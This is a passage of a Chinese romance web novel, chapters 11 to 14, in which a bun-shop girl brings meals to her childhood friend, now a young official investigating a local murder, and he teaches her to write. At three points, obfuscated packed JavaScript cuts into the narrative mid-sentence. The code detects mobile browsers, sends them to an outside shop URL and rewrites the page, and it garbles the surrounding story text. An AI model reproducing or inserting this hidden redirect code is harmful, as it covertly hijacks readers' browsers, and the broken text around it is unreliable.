年轻气盛的郎君们,开不了这个口,还得找人当说客,才将那件事翻篇。 对不起这三个字,就像是烫嘴似的,京城里不管是郎君还是小娘子,都犹犹豫豫的吐不出来。 不像现在——“对不起”。 三个字干脆利落,配上圆脸小娘子清澈的眼眸,能看出来是真心实意。 市井坊间长大的小娘子性子直率洒脱,她道:“我不知道你吃不了花生,这件事是我不对。” 事后阿雪曾问过那个赤脚大夫,老大夫说他这是症状轻,若是严重窒息而亡也是有可能得。 越想阿雪越后怕,她只是为了报退婚之仇,从未想过害人性命。 因此,才有了今日的赔礼道歉。 主座上姿势慵懒的谢临安眸光深邃,扫过她扶着食盒的手,上面两块红褐色的伤疤。 注意到他的视线,阿雪浑不在意的抬手道:“小伤,好了。” 松石面上闪过不自在,但到底没说什么。 娇气漂亮的小娘子,哪有不在意伤疤的? 阿雪皮肤白皙,更显那伤疤刺眼。 谢临安抬抬手,朝着松石道:“去看看药箱里可否有祛疤膏。” “是!” “没事的,小伤而已,”阿雪当真是不在意,“我之前学做馒头时候,手上也总受伤,一般都不会留疤,过段时间就好了。” 才十几岁的女郎,恢复的好自然好的快,不过…… “我看着碍眼”。 阿雪疑惑的啊了一声,疤痕在她手上,他碍什么眼? 很快,松石就回来了,还真有祛疤膏。反正都拿来了,不用白不用,拧开瓷瓶,阿雪小心翼翼给自己涂抹上。 松石解释道:“最好一直敷着,待一月左右就能全部不见。” “这么有用?” 他们郎君吃穿用度,哪样不是最好的? 出门前侯夫人准备的一应俱全,各种药都是从宫里太医那取来的,尤其是这等外伤药,为了宫里的娘娘们,太医研制多年,保管不留一点疤痕。 “可是不方便啊。”阿雪一脸犹豫,“现在无事做还好,等到明日我要和面做包子馒头的。” 松石道:“铺子生意重要还是你的手重要?” “当然是生意重要。”阿雪立刻作答。 这有什么好犹豫的,她开铺子不就是为了挣钱。 “你你……”松石被噎的说不出话,还是第一次遇见这等不爱美的小娘子。 药膏涂上凉津津的,阿雪吹了吹,总觉得不大方便。 “用帕子包住。”谢临安抬起眼帘,淡声说道。 阿雪笑着看他:“郎君好聪明!” 松石一脸无语。 人家京城里的小娘子都会夸郎君聪慧过人、一表人才、人中龙凤…… 哪里有如此夸人的?像是夸孩子似的。 “但我没有帕子。”阿雪实话实说。 因此,坐下时候,阿雪手上已经缠好了一条绣着青竹的帕子,做工精细用料讲究,阿雪忍不住摸了又摸。 原来谢家小子到了京城变得讲究不少。 以前他们在一起玩时,他可是有鼻涕都往袖子上抹。 不过嘛,也没想象中那般滋润罢了,阿雪偷偷看向谢临安,扫过他没有半点花色的衣袍。 嗯,他过的很清贫。 “郎君,看看我给你带来了什么。” 谢临安无甚兴趣。 山珍海味吃的多了,到了这里后吃了几日清粥小菜,现在已经厌烦,对什么都提不起兴趣,没有胃口。 松石急的不行,还把当地出名的大厨请过来做饭,但谢临安吃了两口放下筷子,表示没有胃口。 主子向来如此,时间久了就会对一件东西或者事情感到无趣。松石急的如热锅上的蚂蚁,没办法,只能传消息回城里,城中衙署有他们从京城带过来的厨子,让他快马加鞭赶过来才是。 精致吃食都不感兴趣,更别提她带的家常口味了。松石上前,欲要让她住手,可阿雪已经将几碟小菜拿了出来,香气顿时弥散开。 菜品颜色鲜艳,香味浓郁,可谓是色香味俱全,松石都忍不住咽了咽口水。 “小娘子做的?”她为了勾引他们郎君,还真是煞费苦心。 “当然不是我做的,我娘做的,很好吃,郎君快来。” 阿雪侧身招手,笑吟吟的邀请谢临安。见他不动,她以为他喜欢坐在窗边吃,于是便将菜端了过去,让松石去拿碗筷。 “拿三副。”她道。 松石眼角直跳,心想无知者无畏啊。 她莫不是还想留下吃饭? 到底听从吩咐去取了碗筷,心想如果郎君能赏脸吃上几口也是好事,最近消瘦不少,若是让夫人知道,没松石好果子吃。 摆好之后,松石询问:“郎君,净手?” 谢临安一直坐在那不言语,松石一直拿不准他的意思。 片刻后,不知是香气勾的人食欲大开,还是他觉得家常便饭稀奇,谢临安颔首,松石立刻拿来水盆。 阿雪知道,吃饭之前要洗手嘛。只不过看见谢临安洗了三遍手后,阿雪心想,他们分开的时间确实太长了,那个脏兮兮的青梅竹马变成如今爱洁的模样。 阿雪坐在谢临安对面,招呼松石道:“你吃饭了吗?一起来吧。” “我可不敢。”松石实话实说,也是故意给阿雪听。 可惜阿雪不是那等八面玲珑的小娘子,她直接拿起筷子,道:“有什么不敢的,我就敢。” 松石无语凝噎。 一共四道菜,阿雪又从铺子里拿了馒头过来,完全够他们吃了。只是迟迟不见谢临安拿筷子,她便催促道:“腊肉要趁热吃才香。” 几道菜已经是卢家过年时节的菜品了,足以可见阿雪是真心实意来道歉的。 “差点忘了,还有这个,我娘做的油饼。” 金黄发软的饼放在一旁,里面放了鸡油提香,既暄软油香又不会过腻。阿雪和弟弟石头都喜欢吃,可惜焦红杏向来节省,一个月也就做那么两次。 这次做菜,焦红杏极为舍得,春风满面,做好后拉着阿雪嘱咐要懂礼。 阿雪刚想要告诉她去见谁,焦红杏便笑吟吟道:“娘都知晓。” 娘知道? 算了,知道也好,免得她再解释。 “怎么不吃?” 阿雪虽然出身粗野,可也知道要等对方动筷子,自己才好吃饭的。 松石也紧张的看向谢临安。 本来他还担心菜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561454|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会下毒,但是既然卢小娘子直接上桌了,那便证明无毒。 可自家郎君向来不喜与旁人一起用饭的,他…… 念头刚落,就见谢临安拿起筷子,松石张了张嘴,到底什么都没说。 确实是没吃过的味道,兴许因为食材好用料足,锅气重炒出来就好吃。也兴许是对面的小娘子吃的香,原本没食欲的谢临安难得多用了一些,尤其是油饼,吃了两块,味道确实不错。 临走前,阿雪收拾食盒时看向桌面。那是谢临安挑出来的葱和蒜,以及蘑菇。 记得小时候他什么都吃,根本不挑食,没想到长大了竟然变得挑剔起来。 不过嘛,既然他吃了饭,就代表接受她的道歉。 …… 阿雪心情大好,翌日焦红杏主动来到铺子,将沉甸甸的食盒给阿雪。 “快送去吧。” 临来之前焦红杏特意打听了,严夫子的爹娘去给富户家当短工,这些日子都不在家。 怪不得自家女儿要送饭,原来是怕严夫子没饭吃。 既然如此,左右她闲在家里,不如做好了让阿雪送过去,多见面才会促进感情。 “不用,送一次就行。” 反正她道过歉了,那件事就算翻篇。 可焦红杏坚持让她送,“都做好了,就送去吧。” “那成,等石头来了我就去。” 只是将菜品拿出来才发现,又有葱蒜。 阿雪拿起筷子晃了晃:“我也没用饭,一起吃。” 说完,起身弯腰,细心的将切碎的葱都挑出来,有的沾在肉片上不好剔,她便夹起放在自己碗里。 焦红杏炒菜的时候想着是给未来女婿做的,分外用心,一道辣炒兔肉,滑嫩鲜香,加了一小把麻椒,吃起来麻辣爽口。 辣味总是会刺激人的食欲,松石瞧见自家郎君多用了一筷子,便将此菜暗暗记在心中。 阿雪是真饿了,埋头吃饭。 在京城时,谢临安参加了不少宴席,本朝男女大防没那么重,男女自可以坐在一席用饭。虽没特意关注,但他依稀记得各大世家的小娘子用饭时也和平常一样。 只顾仪态,犹如一支毫无生趣的花瓶。 但阿雪不同,她吃饭很快,一只手端着碗,菜刚夹到碗里,就迫不及待地和饭一起入口。 吃相并不粗鲁,反而会觉得饭菜很香,同桌之人也跟着多用一些。 这般特别的小娘子,谢临安还是第一次见。 他胃口一般,吃了一些放下筷子,只剩下阿雪还在用。 “就是为了送饭?”他擦拭唇角后声音淡淡地问。 费尽心思的靠近他,谢临安不信她没有下一步。 放任她也只是觉得有趣而已,就像是路边看见一只小野猫,伸手逗弄两下。 阿雪心思单纯,自然不知他脑子里在想什么,她忙着吃饭,只点了点头。 如此一来,谢临安竟有些摸不透她的想法。 青年垂眸,鸦羽似的睫毛落下一片阴影。他忽地抬手拿起公筷,夹起菜放在阿雪的碗里。 “谢谢。” 埋头吃饭的小娘子含糊不清的道,也没看见夹的是什么就往嘴里放。 下一瞬,热辣刺痛的感觉落在了舌头上,雪白的面颊染了一层红,她不顾形象张嘴啊了几声,手边递过来一盏凉茶,阿雪仰头牛饮。 过程短短几个呼吸而已,谢临安却若有所思。 12. 第 12 章 弱冠之年的谢临安不曾喜欢过旁人,不过他的追求者甚多,因此他对于情爱之事略懂一二。 爱慕他的小娘子总会展示最美好的一面,在他面前循规蹈矩,蕙质兰心,而不是像现在这样。 阿雪被辣的毫无形象,一只手作扇扇风,另外一只手直接拿起茶壶,仰头接凉茶,这才觉得好受许多。 喝了半壶茶水之后,唇上的热痛之意消散不少,她顶着红肿的唇问他:“你吃着不会辣吗?” 一旁立着的松石脸色有异,心想主子恐怕是故意给卢小娘子夹的辣椒。 小娘子应当发现了吧? 下一瞬,阿雪嘶哈两声缓解热意,随后道:“方才没瞧见辣椒,不过辣虽辣,还是好吃的。辣炒兔肉是我娘的拿手好菜,爹爹最喜欢的下酒菜。” 她没发现。 谢临安唇角依然漾起温和的弧度,眼眸清明,似能看透人心。 小娘子在一个外人面前丝毫不顾及形象,只有两种可能。第一种,他们相识许久;第二种,她并不在意那个人。 既然他们刚认识几天,那便是第二种了,且并不是他所预料的爱慕。 事情变得有趣起来。 谢临安眸子垂下,原本平静无波的心情已经翻起兴奋的浪花。 他拿起一旁的帕子擦拭微微发热的手心。 他喜欢有趣的事情。 经过两次送饭之后,阿雪觉得道歉的态度给到了,不需要再献殷勤了。可架不住焦红杏兴致勃勃的做饭,阿雪说不用送了,她还嗔怪:“你年纪小不懂,男人啊,就如蚌壳一般,撬开了口子后趁热打铁往里钻。” 阿雪听的一头雾水,焦红杏铁了心让阿雪去送,觉得等入秋之后严家父母回来,他们就得提订婚事宜了。 拗不过她,阿雪便嘱咐道:“行吧,娘,你别放葱蒜,他不吃。对了,还有蘑菇也不要。” “幸好你提了,要不然我就要把干蘑菇拿出来泡,打算做小鸡炖蘑菇了。” 几次之后,再去客栈找谢临安就变得轻车熟路。 松石好像也习惯了似的,直接出门拿碗筷回来,守在一旁侍候他们吃饭。 坏消息是郎君总与这平民小娘子用饭,着实不像话。好消息是,郎君很喜欢她带来的饭菜,而且俩人一起吃,也不怕下毒。 每次到谢临安的房间,阿雪都忍不住视线瞟向书桌,上面笔墨纸砚摆放的整齐,有种神奇的吸引力促使她看。 读书人地位崇高,阿雪对会读书写字的人格外尊重,最近弟弟石头去读书认识了几个字,阿雪看他都变得顺眼多了。 谢临安不着痕迹的扫过她,再看向桌面。 那里躺着一封他写好的书信。 过了半响,阿雪转过头来问他:“你现在读书写字很厉害吧?” 这话听起来有点怪,谢临安不动声色的看向她。 阿雪没意识到自己说话的逻辑不对,因为以前他们认识的时候,谢家母子连饭都吃不上,自然不会出钱供谢家小子去念书,那时候所有小孩都是整日混在一起玩泥巴。 没想到分别九年,他如今像模像样,还真有几分世家贵郎的样子。阿雪莫名感叹:“能读书写字真好,可以让我看看你的字迹吗?” 谢临安没作反应,松石先不干了。“当然不行!” 桌面上放着的都是和案子相关信息,连他都不能看,更别提她了。 “算了,我还是不看了。”阿雪自己先否定了,她神色坦荡道:“我不认字,看了也白看。” 话是这么说,阿雪对于读书写字还是十分向往的。 晚上卢石头回家要完成严夫子交代的课业,他一脸痛苦的写大字,阿雪就在旁边问他写的是什么,卢石头上了一天的课心情极为不好,还不如上山打猎来的自在。 因此,他语气带了烦躁,“说了你也不知道。” 阿雪屈指照着他脑袋来了一下,卢石头捂着脑门喊娘,姐弟俩闹腾起来,焦红杏则是笑盈盈的,任由他们欢闹,继续做手上的针线活。 天气越发渐热,家里男子随便穿什么,阿雪是正当风华未婚小娘子,合该穿的亮眼。家中积蓄越发殷实,若是阿雪和严夫子顺利的话,兴许年底就能成亲,到时候好好置办嫁妆。 京城侯府他们万万不敢高攀,就算阿雪嫁过去,如此心思单纯耿直的小娘子,恐怕要在侯府里吃亏。 不像是严为之,就在眼皮子底下,不敢对阿雪不好。 焦红杏越发对严为之满意,因此做的菜一天比一天丰盛,阿雪都嫉妒了。 不过转念一想,她跟着谢家小子一起吃,也不算吃亏,还能多和他相处,也不知道他到底对她如何作想?她的报仇计划效果如何? 在铺子里胡思乱想,莲花来找阿雪叙话,没办法,身边最好的手帕交就是莲花了,于是她将自己的疑惑和盘托出。 “啊?” 莲花懵了,有心说难道你看不出严夫子喜欢你?但她认识阿雪的时间长,知道她心思单纯识人不透,于是莲花出言提点。 “那好办,你假装不舒服,看他是不是紧张,如果紧张了就证明是喜欢你的。” 阿雪不甚赞同:“可如果是陌生人突然不舒服,我也会帮忙找大夫。” “哎呀,那怎么能一样呢?”莲花眼珠子转了转,凑过来对着阿雪耳语。 片刻后,阿雪犹豫:“能行吗?” “怎么不行,你听我的就是了。” 急功近利这四个字,阿雪是不懂的,否则她一定会说自己正好符合这句话。 可她太想知道谢家小子对她如何了,有小时候的情分在,难道他一点都不在乎她? 所以这天晚上,阿雪提前回家换了身衣服,焦红杏一脸慈爱的笑意,还亲手给女儿整理头发。 “去吧,早去早回。” 进谢临安的房间格外轻松,象征性敲了三下门,不待里面人说话,阿雪就推门而入。 然后……和一屋子的男人面面相觑。 主座上的谢临安抬起眼帘看过来。 门口站着身穿鹅黄裙的小娘子,以往为了方便她的发鬓都是盘起来,但今日乌黑的发一半盘起簪了花儿,底下的如绸缎般垂落在肩头。 她脸生的圆,一双杏眼也圆润,唇上不知涂了什么,烛火之下有种晶莹剔透之感。 偏僻小镇上,如此标志的美人不多见,因此那些捕快没忍住盯着阿雪看。也有认出来她是铺子掌柜,朝她笑着点头。 谢临安继续方才的话题:“可有想法?” 王捕头摇头:“小镇虽小,但想找到一个人也不容易。” 房门虚掩着,阿雪站在门口没进来,听见谢临安清润悦耳的嗓音,不疾不徐道:“按街排查,一家一户的搜。着重搜人口简单之家,还有,问问当地的大夫可有见过脸生之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卢石头在家写大字,阿雪也学会了,有模有样的握住,然后去蘸半干的墨汁。 桌面上便是一沓干净的宣纸,她带着激动神色,缓缓下笔。 纸上就出现一团墨黑。 阿雪歪头想了想,写下一个最简单的“人”字。再想提笔时却什么都不会写了,可她还没玩够,就胡乱画起来。 正当她玩的正值兴头上,房门吱呀一声开了。 谢临安走进来时,就见书桌后的阿雪手忙脚乱的拿起纸团在一起。 “你回来了。” 阿雪莫名有点心虚,忙将那团纸扔进纸篓里,然后快步来到桌子前,作势去打食盒。 “今天熬了鸡汤,最近办案太辛苦,给你补补。” “出去吃。”谢临安淡声开口,“作为对你们帮助的感谢。” “那能不能换个感谢方式?” 松石一脸气愤。 得寸进尺!小人得志! 谢临安唇角浮现玩味的笑。 她演了这么多天,终于要露出马脚了。 谁料下一瞬,阿雪目光澄亮的看他:“你能,教我写字吗?” 奇怪的要求。 松石心想:好心机!企图和郎君亲密接触! 郎君可万万不能答应她。 谢临安确实没答应,他只说:“不是大事,可最近胃口不好,没什么心思。” 阿雪激动道:“那简单,往后你的一日三餐我包了!怎么样?” 谢临安像是为难一般,思忱了片刻才缓缓点头。 松石无语望天。 心想他真是高估了卢小娘子,被郎君绕进去了都不知道。 13. 第 13 章 或许是因为山鸡鲜美,煮出来的鸡汤爽口鲜甜,谢临安多用了一些。 阿雪吃了一个鸡腿,等吃的干净后嫌弃地将骨头放在桌子上。“肉太少,不如家养鸡肉多。” 所以打回来的山鸡,大多都是炖汤吃。 “郎君,现在可以开始吗?” 圆脸小娘子一脸期待,跃跃欲试的模样。 谢临安颔首,先净了手,他擦手的时候,阿雪想了想,也跟着洗了手。 站在书桌后,阿雪挽起袖子,作势就要去拿笔。 啪——手背被人轻轻打了一下,阿雪抬头,谢临安淡声道:“先学磨墨。” “这有何难?” 谢临安看着她磨,过了片刻后,雪白的手心里沾满了墨汁。 谢临安捏了下额角,露出鲜有的后悔之色。“去净手。” 阿雪听见他声音冷淡,也没当回事,洗干净后手上依旧留下一点墨迹,但她不甚在意,这回又去抓笔,谢临安没阻止。 “想学什么字?” 阿雪方才就在琢磨呢,立刻回答道:“我的名字,卢雪。” 早有所料的谢临安微微颔首,拿过另外一只笔,笔走游龙,写下两个遒劲大字。 阿雪瞪大眼睛。 这、这怎么学? 侯府世子三岁启蒙,他向来聪慧,学写字就是照着夫子的笔迹临摹。四岁时,便能自己写,随着年岁渐长,笔迹从归整变得越发狂放不羁。 “照着写。” 阿雪哦了一声便开始照着写,可写了一遍又一遍,他就是不满意。 姿势优雅懒散的靠在椅背上,手中端着一盏热茶,浅啜一口后放下茶盏,深邃的眉眼扫过面前的纸张。 “重写。” “这已经是第十遍了。” “是你要学写字。” 谢临安右手摩挲着杯盏,昂贵的瓷器看似朴素,实际做工精致,手感不错。 莫名地,心情也大好。 他唇角漾着笑意:“怎么,不想学了?” “没说不学,我歇一会。” 那个俊美的郎君忽变严厉夫子,阿雪嘴上没说什么,但心里嘀咕:怪不得卢石头每日去学堂都是哭丧着脸呢。 按理来说,她每日河面做馒头包子,手上力气大才是,才写了一会,阿雪就觉得手腕发酸,不想写了。 圆溜溜的眼眸悄悄瞥向谢临安,在他看过来时立刻低头假装要写字。 但总做一件事太腻歪了,而且她已经会写自己名字了,虽然歪歪扭扭,但也算初见成效。 “郎君,不如,你教我写你的名字吧?” 阿雪记得他之前小名是谢安,现在不知道叫什么了。 谢临安意外的扫她一眼。 松石竖眉,“小娘子莫要得寸进尺!” 还想问郎君名讳? 可松石忘了,只要有心打探,一样能从别人嘴里知道他叫谢临安。 显而易见的事情,谢临安倒想知道,眼前这个装傻充愣,假装喜欢他的小娘子,目的到底如何。 起身来到书桌后,提笔写下谢临安三个字。 阿雪不认识字,弯着腰,都快贴上桌面了,“郎君,我不识字。” “谢临安。” “临安……”她起身笑眼盈盈,“好名字!” 以往不管是谁,都要称呼一声郎君,亦或者世子,像是她如此直白叫他名字的,还是第一个。 小娘子就像是她亲手做的馒头似的,圆脸甜音,唇齿之间溢出她的呢喃,犹如情人之间的旖旎。 谢临安不动声色,视线紧紧定在她的脸上。 她生的白嫩,激动之时血色上涌,这点倒不像是能装出来的。 下一瞬,她得寸进尺,拉着他的袖子道:“有点难写,你亲手教我吧。” 莲花说了,能让他教的都要让他亲自教,如此一来二人才能慢慢变得亲密。 她抓着他的袖子并没有碰到谢临安,可却忽地让他想起那晚,他们十指交扣。 又要故技重施了么? 放长线,钓大鱼。 “好。” 谢临安走到阿雪身后,让她握着笔,他则是握住她的手。 男人的手总是要比女人的宽厚,修长的手指轻而易举的裹住她的手,他的温度比她高,温热带着点炙。 俩人并未相贴,可谢临安俯首,就能嗅到她身上的气味,一股淡淡的甜腻味道。 纤细凝白的后脖颈上有些许碎发,乌黑的发更显皮肤白嫩。 如今春日时节,屋里不开窗时便有些发闷,她皮肤上沁了一层薄汗,也不知是热还是写字写累了。 “郎君?” 怎么握住手不下笔?阿雪没忍住提醒了一句。 谢临安视线转到纸上,默不作声的发力,让她跟着他的力道游走。 最后一笔刚落下,阿雪就感觉到他松了手,她一时没握住,墨汁便在纸上留下长长一道,还有零星如芝麻似的迸溅在阿雪的裙子上。 “哎呀,我的新衣服!” 天气渐暖,焦红杏给阿雪做了两身薄衣裳,颜色鲜艳正是这个年纪的小娘子穿的。阿雪也喜欢,向来小心翼翼,生怕弄脏了弄坏了。 可没想到竟然沾了墨汁。 她立刻用手去擦,可怎么也擦不掉。 谢临安递给她一条帕子,松石瞧见后张嘴想要喊不要可。 那条帕子可比她一身的行头都贵重啊! 可郎君做事,没有他插嘴的道理,只能眼睁睁的看见帕子上染了墨色。 阿雪心情低落,攥着帕子往门口走。 “我先回家了。” 失魂落魄的小娘子甚至都忘了带走食盒,一回家就开始脱衣服清洗,虽然洗掉了一些,但还是能瞧见深色,且是在腰腹的位置,太过明显了。 “那么快松手做什么。”阿雪不快,嘟嘟囔囔地骂谢临安。 焦红杏听见了,还以为她在埋怨严夫子,于是过来开导道:“衣服而已,哪有人重要。” 阿雪不觉得。 谢临安哪有衣服重要? 焦红兄笑着道:“你且管洗,等晾晒干了之后,娘帮你想办法。” …… 因着此事,阿雪不大高兴,给谢临安送早饭的时候,也没进去,就站在门口将包子递给松石,说了句走了,然后转身。 晌午的时候阿雪没来,她铺子里忙走不开,约定好让松石过来取的。 原本焦红杏打算她亲自送过去,阿雪嗔怪:“娘,你对他那么好做什么,你对我好就成了。” “你都多大了,还和小孩似的争宠。他爹娘不在身边,可不得多照顾。” 焦红杏说的是严夫子,他爹娘去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573926|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做工了。阿雪则是理解为谢临安背井离乡,千里迢迢回到小地方做官,父母确实照顾不到。 “那也不能劳累你跑一趟啊。”阿雪道:“我让他派人来取。” 焦红杏心想,是啊,学堂里那么多孩子,派个腿脚快的就来取了。再不济也能让石头跑一趟,于是她便回家了。 松石来的时候,手里拎着个布兜子,直接放在凳子上,道:“郎君让我买的。” “什么?” “你打开看看不就知道了。” 解开结扣,就见里面是一件鹅黄色的裙子,布料平滑做工细致,应当价值不菲。 他都如此清贫了,阿雪哪能要他的东西。再说了,有句话怎么说来着?对,无功不受禄。 她的拒绝让松石吃惊,还态度坚决地说让他拿回去退钱。 “买了就不能退,而且是郎君让买的。”松石认真打量她,看到底是真不想要,还是在欲拒还迎。 “不能退啊,怪可惜的。”总不能浪费,于是阿雪收下了。 原本面带愁容的小娘子立刻展露笑颜,变脸比变天都快。 松石回去之后如实禀告,想要他们郎君看清她的真面目,谁料谢临安只是颔首,随后让他出去泡茶。 屋里坐着王捕头和其他不快,松石明白这是案子有新进展了,于是退了出去,将房门关严。 “她醒了?” “是,大人,王氏醒了,不过她只哭,什么都不肯说。” 那日卢石头带捕快进山,还真找到了人,不过竟然是一个饿的昏厥的女人。带回来之后让大夫好生治疗,两天之后才悠悠转醒。 看见这么多人围着,女人当即疯了似的大喊大叫,直到王捕头亮出身份,那女人捂脸痛哭,除了吐露自己姓王之外,什么都不肯再说。 谢临安拿出手边的东西,挨个比对,在其他州县失踪人口里,找到四个姓王之人。 “去问她叫什么,按照上面的记录即可找到她的家人。” 王捕头领命,立刻称是。他出门嘱咐那些捕快道:“小心些,莫要让她逃了。” 经过比对,死者家里遗落的那只鞋就是王娘子的,不排除是她杀人的可能。 屋里,松石没忍住问:“郎君,是那位娘子杀了人,然后逃进山里躲起来吧?” 不管是王捕头他们还是松石,都是如此认为。 谢临安淡声道:“凡事要讲证据。” 松石羞愧低头,“是,郎君。” 经过几日的教导,阿雪已经能写很多字了,虽然都是歪歪扭扭,但她乐此不疲。 谢临安还会像是夫子一样留课业,他亲自写下几个字,让她拿回去练。 不知是阿雪太聪慧还是确实勤奋,写的有模有样。 天气越来越暖和,镇子上的大集也如约而至。阿雪特意空出半天打算去集市逛逛,想了想,绕路去客栈邀请谢临安一起去。 松石被派去买东西未归,阿雪笑吟吟:“那好办,给他留个消息不就成了。” 刚学会写字的阿雪自告奋勇。 一炷香后,松石返回,正赶上王捕头过来汇报事宜,进屋后没见到谢临安,松石正奇怪,王捕头先一步在书桌上发现信件。 歪歪扭扭的字迹,写着:你们大人,我带走了。 王捕头大惊失色:“召集人手,大人被绑架了!” 14. 第 14 章 小镇上的大集市只在每月初一和十五,附近村落的百姓们都会过来,或买或卖,人流涌动,热闹非凡。 从孩提时期,阿雪就喜欢逛大集市,会发现很多好玩有趣的东西,还能买平日里见不到的吃食。 前阵子因为命案的关系,阿雪还以为不会举行了,但没想到今日一早出来就见不少百姓挑着担子往东头去。 曾经的谢家小子比阿雪大三岁,每次都会牵着她的手,生怕人多走丢。还会吓唬她:“不许松手,有拍花先生拍走你。” 据说拍花先生有神力,只需要在小孩的脑瓜顶轻轻一拍,孩子就会像失了魂魄似的,跟着他走。 后来谢家小子被人带回京城侯府,焦红杏便不让阿雪去集市凑热闹了。直到她长大成人,才又重新逛集市。 带上谢临安,也是为了唤醒儿时的记忆。阿雪觉得自己没那么聪明,像是莲花嘴里的“徐徐图之”她做不到,她挺着急的,因此才有了这么一遭。 既然是村子里来的百姓们,穿着打扮自然朴实。不过也有过于朴实的,比如刚从谢临安身边过去的,拎着篮子的小贩。篮子里是一窝小鸡仔,这人身上也散发着一股鸡屎味,谢临安蹙了蹙眉,抬眼望去,密密麻麻的人群,各种鸡飞狗跳。 京城侯府娇生惯养的世子爷,哪里见过此等场面?就算家里的马厩也没有如此刺鼻的味道。 因此他失了耐心和兴致,转身欲走。 “郎君,这边。” 衣袖倏地被人拽住,圆脸小娘子兴致勃勃,指着不远处道:“我们去那!” 人群里的谢临安虽然穿着一身青色衣袍,但他气质过人,站在人群里犹如鹤立鸡群。 他唇角依然带着笑意,但眼神里透出一丝厌烦之意,若是松石在这,一定能察觉到他们郎君是觉得无趣,想离开了。 可阿雪不知道。 她身量到他的耳边,说话时稍微仰着头,言笑晏晏道:“那家的烧饼很好吃的!” 这么多年,每次开集阿雪都会买,她拽着谢临安就朝那边走。逆流而行的年轻男女,从远处看就像是手牵着手。 到了之后,阿雪刚要开口,猛地想起莲花的嘱咐。 “阿雪我告诉你,在男人面前要矜持。” “什么是矜持?” “哎呀,就是不能做粗鲁的事情,要斯斯文文,像是……像是猪肉铺子的刘娘子一样。” 刘娘子是远嫁,据说她爹是秀才,张屠户为了求娶她,花费了不少银子,还买了一间阔绰的小院子,将人娇养在家。 阿雪曾在铺子里见过她几次,衣着亮丽,花容月貌,坐在那托腮赏景,成就一副美人画。但不知怎么回事,总觉得她愁容满面。 莲花说她不懂,矜持的娘子都是这样。 于是阿雪脆生要了两个烧饼后,又忽然用手捂着胸口,明明是矫揉造作的动作,她做起来却格外的……娇憨可爱。 她转头,朝着谢临安“矜持”一笑。 明明身形纤细,但面若银盘,红晕微点,如花似玉的年纪,一颦一笑都是春景,将满城的景色压了下去。 谢临安笑容加深。 他越来越看不透她,对于未知的事物和人,谢临安总是会保持好奇的心理。 有趣,真有趣。 那边烧饼已经装好了,卖烧饼的老妇认识阿雪,与她说了几句话,然后笑着道:“这是小娘子的丈夫?哎呦,你们当真相配。” 如果是寻常的小娘子,恐怕已经满面羞涩。不过阿雪神情坦荡,心想如果按照婚约,他们明年可不就是夫妇了。 “不是。”阿雪笑了笑,那老妇一副我懂的模样。 现在不是,往后就是了嘛。 阿雪笑盈盈也不多说,另她意外的是谢临安也不曾言明。 他什么意思?阿雪拿不准。 阿雪几口吃完,谢临安没动。“尝尝,做的很好吃。” 这一整条街都是小摊小贩,各种食物味道混杂在一起,热气腾腾,会让人食欲大动。 不过,谢临安扫过老妇的手,指甲稍长,沾满了油污。与之相比,阿雪的馒头铺子简直可与皇家御膳房相比。干净整洁,揉面做活的小娘子也干净的让人心情愉悦。 再看看手中的烧饼,他断断不可能吃这种东西。 “暂时不想吃。”谢临安道。 “好,那我们逛一逛,一会逛累了再吃。” 谢临安不置可否。 他们一路往前去,走着走着,听见前有人哭哭啼啼,阿雪最是爱凑热闹,立刻拉着谢临安往前挤。只是人有点多,阿雪翘起脚尖也看不清发生了什么。 “郎君,你能瞧见吗?” 谢临安身材颀长,阿雪记得他小时候就比一般孩子高,长大后确实身量优越,即使站在人群后,深邃的眸子也将前面景象尽收眼底。 “是苦主来接人。” 这话说的莫名其妙,阿雪却明白了。 “那日山里带回来的女子?” “正是。” 阿雪知道内情,谢临安也没有隐瞒她的必要,三言两语解释清楚,阿雪这才知道,原来死掉的那个人并不是无辜之人,反而是失踪人口的凶手。而那名女子便是受害者,被犯人带离家乡来到这里,还要做什么夫妻。 女子当然不肯,就被死者困在家中,直到来了另外一个人,俩人不知为何起了争执,她这才脱困跑了。头脑发昏走投无路,不知道怎么就钻进来林子里,直到被卢石头带人找到。 谢临安叫人通知女子的家人,没想到来的这么快。不过这番敲锣打鼓,生怕旁人不知道的模样,恐怕不是好事。 过了会,随着那些人离去,看热闹的人也渐渐散去。阿雪小声问:“郎君,那凶手会不会就在这些人里?” 说着,还谨慎的四处看,手也不自觉的去拉谢临安,圆脸上难得带了恐惧之色。 她都有胆子拉他,竟然还怕凶手。 谢临安忽地轻笑,阿雪不明所以。 “凶手恐怕已经逃之夭夭了。” 从城里的衙署来到这里,路程要三天。三天时间,足够凶手逍遥法外。 阿雪却从他的话语里听出不同寻常来。 “那案子是不是就要结束了?你要回去了?” 谢临安颔首。 阿雪莫名嗓子有点发紧。 “那……那你还会回来吗?” 阿雪也不知道自己为什么突然问出这句话,嘴比脑子反应更快,话问完,她才觉得自己在说胡话。 他是县令,自然要在城里的衙署里办公,不可能一直留在小镇上。 可这才几天啊,连十天都没有。 阿雪转念一想, 